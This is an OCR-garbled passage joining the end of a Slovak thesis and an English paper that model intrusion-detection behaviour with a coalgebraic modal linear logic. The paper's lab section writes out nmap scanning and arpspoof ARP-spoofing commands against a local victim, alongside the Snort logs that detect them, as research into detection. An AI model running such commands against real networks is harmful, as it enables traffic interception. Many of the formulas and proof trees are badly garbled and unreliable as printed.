e pozorovanie konkrétneho paketu head : p, — p,

69



FEI KPI

e modifikdciu stavu tail : p, — pp,
e reakciu koalgebry (IDS) preddefinovanou akciou intr_type : p, — pEactions’

pomocou:

(head, tail, intr_type) : p, — p X p, x p D actions’ (9.14)

kde p [ actions’ vyjadruje reakciu koalgebry preddefinovanou akciou z mnoziny
operacného symbolu actions signattiry X, v synergii s typom narusenia [ = A+ B,
ak pre konkrétnu cast struktury paketu koalgebra pozoruje zhodu so symptémami
zobrazenymi v tabulke (9 3]).

V poslednom kroku konstruujem finalnu koalgebru. Nech je dana kategéria ko-
algebier Coalg(F) s vlastnostami definovanymi v (4.2). Podla [24] je jej koncovym
objektom findlna F'—koalgebra:

(pst, (observ, n_st,i_type)), (9.15)
kde
® pg je stavovy priestor,

e observ je operacia sliziaca na okamzité pozorovanie objektu nekonecnej tida-

jovej struktury,
e n_st vrati nasledujuci stav,
e _type generuje prislusnu akciu.

Pre vsetky operécie koalgebry so schopnostou detekcie utoku (head, tail, intr
_type) v stavovom priestore p, nad kategériou nekone¢nehé toku paketov Packets
zobrazenej na obr. , exituje podla [26] jediny morfizmus (tzv. behavioralna

relacia) kategorie Coalg(F)
(head, tail,intr_type) --+ (observ,n_st,i_type) (9.16)

taky, Ze diagram na obrazku (9— 10))
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h;
Pp ~~"" """ > Pst
(head, tail  intr_type) ® (observ, n_st,i_type)
Fpp) ==-mmmmmmmm - F(pst)
’ F(hy)

Obrazok 9—10 Homomorfizmus findlnej koalgebry (ps;, (observ, n_st,i_type))

komutuje. Z obrazku (9—10)) je jasné, Ze plati
(head, tail,intr_type) o F'(h;) = h; o (observ,n_st,i_type). (9.17)

Pricom homomorfizmus
hi:pp —=* pst (9.18)

je ,spravanie nekonecného toku paketov danej pocitacovej siete” [26]. Takéto sprava-
nie je mozné realizovat postupnym vyhodnotenim koalgebraickych operécii. Z tohto
je mozné pozorovat, ze homomorfizmus h; postupne zachytava a pozoruje konkrétny

paket pomocou operacie head, ktora vznika opakovanou aplikaciou operacie tail.
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10 Zaver (zhodnotenie rieSenia)

V mojej inzinierskej zdverecnej praci som sa venoval najpouzivanejsim formalizmom
stucasnosti a ich vyuzitiu v oblasti informac¢nych technolégii. V kazdej oblasti vedy
a techniky je dolezity exaktny popis konkrétnych javov a na to je potrebné zvolif
si vhodny formalizmus. So vzostupom informatiky a vypoctovych zariadeni dnesnej
informacnej spolo¢nosti sa zvySuju aj naroky na formalny popis.

V tejto praci je mozné pozorovat analégiu medzi réznymi formalizmami a vedec-

kymi odvetviami. Této analdgia je zobrazend tabulkou (10— 1)).

Teoéria kategorii | Algebra a Koalgebra | Logika | Informatika

objekt mnozina formula | udajovy typ

morfizmus funkcia dokaz program

Tabulka 10—1 Analégia medzi formalizmami a vedou

Hlavnym cielom tejto diplomovej prace je zobrazit moznosti formalneho popisu
spravania sa systému pre detekciu prienikov v (pocitacovej) sieti - IDS. Po nastudo-
vani prislusnych aparatov znamych formalizmov a analyze ich vyuzitia v informatike
som sa rozhodol pre navrh nového formalizmu vyuzitim uz znamych formalizmov,
ktory by bol vhodny pre exaktny popis spravania sa zlozitych programovych sys-
témov ako je IDS. Ako najvhodnejsia metoda sa v sicCasnosti javi vyuzitie logic-
kych systémov. Pre novy logicky systém som vyuzil Girardovu linedrnu logiku v
kombinécii s koalgebraickou modalnou logikou. Po ich zovseobecneni som navrhol
koalgebraicki modalnu linedrnu logiku pre IDS (CMLL), konkrétne som definoval
jej jazyk pozostavajici zo symbolov a syntaxe, formuloval som sémantiku prostred-
nictvom rozsireného Kripkeho modelu a vytvoril som dokazovy systém dedukcénych
pravidiel v tvare Gentzenového sekventového kalkulu. Kvoli demonstracii pouzitel-
nosti CMLL som navrhol jednoduché laboratéorne prostredie pozostavajice z dvoch

pocitacov a jedného smerovacieho zariadenia, ktoré st prepojené lokalnou sietou
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a pomocou smerovacieho zariadenia prepojené so sietou internet. Nasledne som v
laboratérnom prostredi simuloval konkrétny utok z jedného klientského pocitaca na
druhy, na ktorom bol nasadeny IDS nastroj Snort. Snort reagoval na ttok predna-
stavenym postupom, ktory som vyjadril formulou koalgebraickej modalnej linearnej
logiky, a ti som nésledne dokazal prostrednictvom navrhnutého ddékazového sys-
tému. V dalsej casti prace som ukazal alternativu mozného sposobu forméalneho
popisu spravania sa IDS prostrednictvom modelovania jeho behaviordlneho prejavu
koalgebrou prislusného polynomialneho endofunktora nad kategériu nekonecéného
toku paketov Packets.

Do budicna ostéva otvorend moznost rozsirenia koalgebraickej modalnej lineér-
nej logiky o Girardovu teériu Ludics, ktora rozsiruje linedrnu logiku a casopriesto-

rovy kalkul, a jeho moznu aplikaciu pri modelovani spravania sa IDS.
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ABSTRACT
Significant development of the information society in recent years creates increasing pressure on network security. One of the
possibilities how to increase network security is the deployment of the intrusion detection system in computer network - IDS. This
paper deals with formal description of the IDS behavior, through non-traditional resource-oriented logical system. For description of
the IDS via logical systems, the Coalgebraic modal linear logic for IDS has been introduced, by which the behavioral effects of the IDS
has been expressed by formula after simulated ARP spoofing attack in real laboratory environment.

Keywords: ARP Spoofing, Coalgebraic Modal Linear Logic, IDS, Linear Logic, Snort, Vertical TCP Portscan

1. INTRODUCTION

Important aspect for a description of real situations in
every scientific field is selecting an appropriate formalism.
The most common formalisms are for example [1], cate-
gory theory or logical systems which over the past years
have made a significant attention.

The logic as formalism is most widely used in computer
science, but the expressing power of common used classical
logics as a propositional logic based on the Tarski’s seman-
tic tradition dealing with true or untrue statement or intu-
itionistic logic that is based on Heyting’s semantic tradition
dealing with sense of formule is very limited. Interesting
breakthrough in this area occurred in the year 1987 by the
introduction of linear logic [3], which is a generalization
and extension of the above traditional logics.

For exact description of the behavior of a complex pro-
gram systems such as intrusion detection system in com-
puter network, the traditional logics as formalisms are of-
ten not sufficient. Therefore we came with an idea to create
a suitable formalism to describe behavior of the mentioned
system which fulfills all demanding requirements. For that,
we have created the coalgebraic modal linear logic for IDS
(CMLL) as suitable logical system i.e we introduce its syn-
tax, semantics and proof system. Because the behavioral
effects of IDS can be specified by proof, we present deduc-
tion rules in Gentzen’s sequent calculus.

We illustrate our approach on the open source IDS Snort
by its reactions on simulated ARP spofing attack in real lab-
oratory environment. Therefore we present brief introduc-
tion of the laboratory computer network topology and basic
overview of the IDS Snort. Next we simulate a specific at-
tack on client computer and show how can it be specified by
formula of CMLL. Then we construct a proof of formula,
from which the real process of algorithm of simulated at-
tack can be seen.

2. COALGEBRAIC MODAL LINEAR LOGIC FOR
IDS

By analyzing the current situation in the area of logical
systems and consideration of existing solutions for the ex-
act description of the behavior of a program system such as
IDS, we have concluded that it is necessary to introduce
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the new logical system for that. Based on that we have
created the coalgebraic modal linear logic for IDS, which
is resulting in generalization of linear logic multiplicative
fragment [4] and coalgebraic modal logic [7]. The formu-
lation of this logic is already partially introduced in [6] and
its definition came from prior research of the theory of pro-
gramming research group, which works in our department
of computers and informatics, led by Prof. Novitzkd. We
present CMLL based on three basic aspects that every logi-
cal system has to possess, namely:

1. syntax;
2. semantic and
3. proof system.

Compared to the other logical systems, the significant
feature of linear logic is mainly resource-oriented approach
of dealing with formul® [3], which creates a strong ex-
pressive power for describing real processes, for exam-
ple causality, pleonasm or parallelism and many more [5].
These, together with modal operators of Coalgebraic modal
logic, create an effective formalism for describing behavior
of state-oriented program systems such as IDS.

2.1. Syntax of Coalgebraic Modal Linear Logic for IDS

We formulate syntax of CMLL by following production
rule in Backus-Naur form:

pu=a, |1 Loy |owy|e—y|e|0p| e

All formule (actions) of CMLL can be constructed by
rule (2.1). The set of all CMLL formula can be named
as CMLLForm. Where:

e a, means elementary formule, where n = {1,2,...},

e @' is a linear negation, which expresses duality be-
tween action (@) and reaction (@), in the other
words: available and consumed resource,

® ¢ — Yy is (casual) linear implication, which ex-
presses that a (re)action Y is a causal consequence
of action ¢ [5] and after performing this implication,
the resource @ became consumed (¢=),
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e ¢ ® y with its neutral element 1 is multiplicative
conjunction, which expresses the performing of both
actions simultaneously,

e ¢ ’® y with its neutral element | is multiplicative
disjunction, which expresses commutativity of du-
ality between available and consumed resources by
performing either action @ or action y,

e @ is modal operator expressing possibility of the
action,

e [lo is modal operator expressing necessity of the ac-
tion,

e V& = O(’P) @ (®(<><I>)) is modal operator
called resource oriented coalgebraic modality intro-
duced in [6], and

- ®={¢; | i=1,2,...,n} is a finite set of for-
mula,

Ce={0p |9},
operator ?@ means >?CID =0 PMmT...,

operator ® is expressing possible infinite mul-
tiplicative conjunction of formulz:

Xo® =00 0 0Mm®. ...

In our approach we formulate the following De Morgan
laws for CMLL:

1t = 1

1+ =1

(o) = o
(poy)- = ¢ ry"
(ppy)t = o oyt
p—oy = oy
O = -O-¢
o = =00

2.2. Semantic of Coalgebraic Modal Linear Logic for
IDS

For the definition of semantics, we formulate the
Kripke’s interpretation of possible worlds semantics, pre-
sented by Kripke, because it is suitable for expressing
semantics of logic, which deals with intension of for-
mula bases on Heyting’s semantic tradition.

Definition 2.1. Kripke model M is ordered quad M =
(W,R,V,x), where:

o W is non-empty set of possible worlds: W =

{x1,%2,...,%, | n €N}

e R is a binary accessibility relation between worlds:
RCWxW,

e V is intensional relation: V : W x CMLLForm —
{1,L}, where V (x1,a) assigns to the elementary for-
mula a in world x, value from set: {1, L},

o x is designated world x € W.
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Based on definition (2.1) we construct Kripke model of
coalgebraic modal linear logic for IDS as follow:

M,xFa iff V(x,a)=1

MxF1 iff V(x,1)=1

M,xEFL iff V(ix,L)=1

M, xE @+ iff M,xF ¢

MxFEo®y iff M,xFE ¢ and at the same time
M,xEvy

MxEoewoy iff MxFE¢@ xor MxkEy

MxE @ —oy iff (Vx,)xRx, if Mx,Fo
then M,x, F vy

M, x F Og iff
M,xE o iff

(Vx)xRx, : M, xp, E @
(3x)xRxy : My xp, E @

Notation M, x = ¢ can be read as ”coalgebraic modal linear
formula ¢ has sense in world x, in model M = (W, R,V x)”.

2.3. Proof system of Coalgebraic Modal Linear Logic
for IDS

After analyzing options for a proof system that is suit-
able for our purposes, we have decided to define the proof
system of CMLL in Gentzen’s double side sequent calculus
(GSC), which, compared to Hilbert-style proof form, has
only one axiom and many inference rules. Moreover, the
creation of the proof is fundamentally simpler and, more
important, the proofs in GSC show real process which is
described by formule. The inference rules for double side
Gentzen’s sequent calculus for CMLL have following form:

r ~ A )
—~ =~
where I', A are finite sets of formule. Notation I' - A means

P1R QO YRR Y @)

which could be read as “’the multiplicative disjunction of

formule on the right side is provable from the multiplica-

tive conjunction of formule on the left side of the sequent”.
Defined inference rules are:

1. Identity rule is axiom i.e. is the only rule which has
no assumptions. It expresses tautology: from action
¢ you can prove reaction ¢.

(id)
ore

2. Structural rules are cut rule and exchange rules:

I'to Aoghry

TAFy (cur)

Exchange rules express commutative property of
logic by allowing permutation of formule on both
sides of the sequent.

o, yi-A

'to,v,A
Ty, oA

I'ty.9.A

(exr)

ISSN 1338-3957 (online), www.aei.tuke.sk



Acta Electrotechnica et Informatica, Vol. 14, No. X, 2015

3. Logical rules deal with logical connectives:

rra 1 —(1 — (L 1
rira® % W FEra®)
o, y-A I'cp,A ®Fy,X
ToovyrAa™ Toreoyar

'-p,A o,yk-X oy A
Tdg—oyrar " Tro—yA "
FoFA oykX o,y A

T.@, 05w Ar ) TFosya™

I'Fo,A LoFA
Col-A r%m¢im”
I'-oe,A oA .

r-Op,A " nD¢FA(”
'Fo,A LoFA

According to [8], it is not necessary to introduce infer-
ence rules for logical connective <, due to the existence of
De Morgan laws defined in chapter (2.1), but we have in-
troduced the rules in the above form for logical connective
<{> which are based on already defined rules for logical con-
nective . Proof for the left side based rule:

'-e,A
CLotFA
[,O(eY) A
C'-DOt(eh),A
I'Eoe,A

(@)
i+

=)

And for the right side based rule:

oA

kot A
C'-O(ph),A
L0 (@b FA

[LopkHA

(0F)
(@)
(O

3. SNORT - THE INTRUSION DETECTION SYS-
TEM IN COMPUTER NETWORK

The intrusion detection system is a software applica-
tion or a hardware device that monitors a computer net-
work [10]. It serves as a protection and preparation against
possible attacks and suspicious network activity. That is
achieved by collecting information from various systems
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and network resources and their subsequent analysis for po-
tential security threats.

Snort is an open source intrusion detection system in
computer network, developed by Sourcefire, Inc.. Accord-
ing to the project’s homepage [9], Snort is currently, with
millions of downloads and nearly four hundred thousands
of registered users, the worldwide most used IDS system.

We illustrate our approach of coalgebraic modeling of
IDS behavior by introduced coalgebraic modal linear logic
for IDS in chapter (2). For that purpose, we have designed
laboratory environment using real devices, where we have
simulated an attack on a client computer with Snort in-
stalled.

3.1. Designed Laboratory Environment

For our purposes, the designed laboratory environment
consists of two clients and one router, which serves as a
gateway to the internet and also by which the computers
are connected in local network. Due to demonstration of
the functionality in real conditions we have used the real
devices instead of the standard option of machine and net-
work devices virtualization. Let a designed network has the
following topology:

=

— Lastop-FT
e PC1
o P —
U e
Routar-PT i
ROLTER a8
Laptop-PT

P2

Fig. 1 Designed network topology

where:

o ROUTER has assigned IP address with subnet mask:
192.168.1.1/24,

e PCl is a client and has assigned IP address with sub-
net mask: 192.168.1.102/24 and is playing the
role of a victim,

e PC2 is a client and has assigned IP address with sub-
net mask: 192.168.1.105/24 and is playing the
role of an attacker.

3.2. ARP Spoofing Attack

ARP spoofing is a type of attack which is called "Man-
in-the-Middle”, where the attacker exploits address resolu-
tion protocol (ARP), so the attacker can pretend to be an-
other computer on the local network [2]. The principle of
the attack is based on deceiveing the devices on local net-
work into sending data, by fake ARP response to a request
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for MAC address of specific IP address. In this case, the
attacker will always answer the ARP request with its MAC
address, to which whole communication intended for an-
other device will be sent. The principle of operation of this
type of attack is shown in figure (2):

MITM

Fig. 2 Principle of the "Man-in-the-Middle” attack

The above mentioned attack can be realized by the fol-
lowing steps:

1. Analysis of the network topology, for example by us-
ing tool nmap:

root@kali:~# nmap -F 192.168.1.1/24

Starting Nmap 6.47 ( http://nmap.org )
at 2015-04-15 22:44 UTC

Nmap scan report for 192.168.1.1
Host is up (0.0036s latency).
Not shown: 97 filtered ports
PORT  STATE SERVICE

21/tcp open ftp

23/tcp open telnet

80/tcp open http

MAC Address: XX:XX:XX:XX:XX:XX
(Tp-link Technologies CO.)

Nmap scan report for 192.168.1.102
Host is up (0.030s latency).

A1l 100 scanned ports on 192.168.1.102
are closed

MAC Address: YY:YY:YY:YY:YY:YY

(Liteon Technology)

Nmap scan report for 192.168.1.105
Host is up (0.000036s latency) .

A1l 100 scanned ports on 192.168.1.105
are closed

Nmap done: 256 IP addresses
(4 hosts up) scanned in 4.10 seconds

Remark 3.1. Since we are using real devices, we
have censored the hardware MAC addresses of the

network devices for security reasons.

Snort will detect this step as a potential first phase of
a possible attack, and creates an appropriate log:
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[root@x ~1# cat /var/log/snort
/portscan.log

Time: 04/13-18:01:39.536820
event_ref: O

192.168.1.105 -> 192.168.1.102
(portscan) TCP Portscan
Priority Count: 9

Connection Count: 10

IP Count: 1

Scanner IP Range: 192.168.1.105:
192.168.1.105

Port/Proto Count: 10
Port/Proto Range: 25:8080

Based on the first step of the attack, we have chosen
appropriate victim and in our case it is a computer
with IP address and subnet mask:

192.168.1.102/24

. Through ARP Spoofing attack we have transferred

the communication between the router and victim
computer via attacker computer by arpspoof tool.
First we transfer communication from the victim to
the router:

root@kali:"# arpspoof -i wlanO

-t 192.168.1.102 192.168.1.1
YY:YY:YY:YY:YY:YY XX:XX:XX:XX:XX:XX
0806 42: arp reply 192.168.1.1 is-at
YY:YY:YY:YY:YY:YY

Finally we transfer communication from the router to
the victim:

root@kali:"# arpspoof -i wlanO

-t 192.168.1.1 192.168.1.102

XX XX XX XX:XX:XX YY:YY:YY:YY:YY:YY
0806 42: arp reply 192.168.1.102 is-at
XX XX:XX:XX:XX: XX

Snort recognizes this event as an attack and after try-
ing to display web page https://student.tuke.
sk/ (which has IP address 147.232.3.210) the log
about intrusion will be created:

[**] [1:101:1] ICMP Packet [*%*]
[Priority: 0]
04/13-23:59:47.579311
192.168.1.105 -> 192.168.1.102
ICMP TTL:64 T0S:0xCO ID:57454
IpLen:20 DgmLen:522

Type:5 Code:1

REDIRECT HOST NEW GW: 192.168.1.1
*x ORIGINAL DATAGRAM DUMP:
192.168.1.102:56031

-> 147.232.3.210:443

TCP TTL:63 TO0S:0x0 ID:44869
IpLen:20 DgmlLen:494 DF

Seq: 0xAD179471

(466 more bytes of original packet)
*x END OF DUMP
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3.3. Coalgebraic Modeling of the IDS Behavioral Ef-
fects by CMLL

We have introduced the CMLL of formal description of
the IDS behavioral effects in chapter (2), by which the pro-
cess of ARP Spoofing attack can be described as a formula
of coalgebraic modal linear logic for IDS:

(P®Ia)) — QA R (A1 @A) ®lay)) — LAt 3)

which can be read as “vertical scanning of ports and action
of IDS by creating a log implies a possible attack reaction
and transferring of communication between the victim and
the router via attacker by ARP spoofing implies that the at-
tack necessarily happened”.

We are using the following notations for a transparency
of formula and proof:

e vertical scanning of ports as P,

e IDS reaction on vertical scanning of ports by creating
a log about potential attack as /ay,

e transferring communication via attacker from victim

to ROUTER as A,
e transferring communication via attacker from
ROUTER to victim as A»,
id)
Play, ALF Play, A7 )
(0~
P lay, P, Ia} F At, At o
(L) id
P.Iay, P!, Ta; F At O(AtT) A F A4 (.-1)1
PIay, PLIaf F GALD(AY) " F AL Af o
L&

e IDS reaction on transferring communication by cre-
ating a appropriate log about potential attack as la,

e attack as Ar.

The proof of the formula is constructed by inference rules
introduced in chapter (2.3) in form of Gentzen’s sequent
calculus. Contexts in proof contain:

o I'={P' Ia{,0(Ath),A{, Ay Tay , O(A)},
o = {Pl Ia,0(Ath),Al Ay Iay },

o A={P' Iaf,0(Ath)},

o ¥ ={A{ A Ias}.

The proof tree is depicted in the figure (3) and it is
constructed from the root (where the formula of the attack
which we are proving is) to the leafs. We are using an ap-
propriate inference rule from chapter (2.3) in every step of
deduction. Leafs are axioms, which implies that Gentzen’s
style proof is constructed correctly, therefore we can say
that formula in the root is proved. We can observe behav-
ior of the IDS during specific attacks from the proof tree
depicted in figure (3).

A, F A,

(0) (id x
- Ay Af T TagFlap o

P ® Iay, PL, Iat F GAt,O(AtY)

— Ay @ Ay, AT, AL

(0:) At = AL
= lay, las il

l_LP(Qf({!J—oQATA (=)

F(P®Ia)

|— (‘4.; 3¢ Ag} 5{)[&-}_‘1’
a <>;’1f} [o24] ((‘1] [o24] _f"lg) & }Ti’]’fg): b

OAt, Att -
OAz, G(A

(@)

(P @ Ia1) —o OAL) @ (A1 ® Az) ® lag) —o OALF T

1)

Fig. 3 Proof tree

4. CONCLUSION

In this contribution, we show how the resource-oriented
logical system can be used as a formalism for describing
real processes of a behavior of non-trivial program system.
For that, we have chosen intrusion detection system in com-
puter network - Snort. We have expressed its behavior by
a formula of the newly introduced logical system and illus-
trated how its proof describes real process of IDS behavior.

In the future we would like to extend our approach
by expanding coalgebraic modal linear logic for IDS with
time-spatial calculus from Girard’s Ludics theory.
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